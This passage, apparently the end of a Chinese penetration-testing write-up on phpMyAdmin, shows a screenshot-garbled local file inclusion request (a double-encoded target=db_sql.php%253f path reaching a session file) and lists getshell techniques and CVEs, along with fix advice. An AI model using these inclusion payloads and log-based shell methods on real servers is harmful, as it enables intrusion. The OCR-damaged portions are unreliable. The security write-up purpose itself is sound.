控制台 ■	Configure Command		cscript, disable sdk\ora	/nologo configure.js -nsapi" "without-m acle\x86\instantclient	enable-snapshot-b ssql" "without-pdo- 12_1\sdk,shared" "v	uild" "enable-debug-pa mssql" "without-pi3wel vith-oci8-12c=c:\php-sdl	ck" "disable-zts" "disa o" "with-pdo-oci=c:\php :\oracle\x86\instantclient_"	ble-isapi" " - 12_1\sdk,shared" "		
sole Network Sources Performan	ce Memory Applica	ion Security Audit	ts ScanAnr	notation Hack	ar Augury					
	n Madia Cant. Das 140	Manifest Other 🔲 I	Has blocked e	ookias						
4000 ms 6000 ms 8000	ms 10000 ms	12000 ms	14000 ms	16000 ms	18000 m	s 20000 ms	22000 ms	24000 ms	26000 ms	
× Headers Preview Resp	onse Initiator Timing	Cookies								
p%253								(Co 🚔	공순	
Request URL: http://127.6	0.1/php/index.php?ta	rget=db_sql.php%253f/	1 1 1	///Users/	ac/AppData/Lo	cal/MintualStone/	Windows/sess 1h91s	ukiukBocatontuhamhi	2tbsudsd	
		Bee on other burbares of	, , ,		ec/Appoaca/ic	carlari coarricolel	HANGONS/ SCSS_JUSES	ukt vkooce cpriculamitt		

本地复现搭建的环境是这个路径,也太特么难猜了,实战中还是需要结合收集到的其他信息,尝试包含其他文件(例如,上传的图片)。

修复建议

1、升级 phpmyadmin 至最新版本

or

2、打补丁。

还有一些 phpmyadmin2.x 版本的漏洞,版本太老了,这里就不说了。

总结

1、select into outfile 直接写入

2、开启全局日志 getshell

3、使用慢查询日志 getsehll

4、phpmyadmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016 -5734)

5、phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-1261 3)

以上漏洞都需要登陆进去。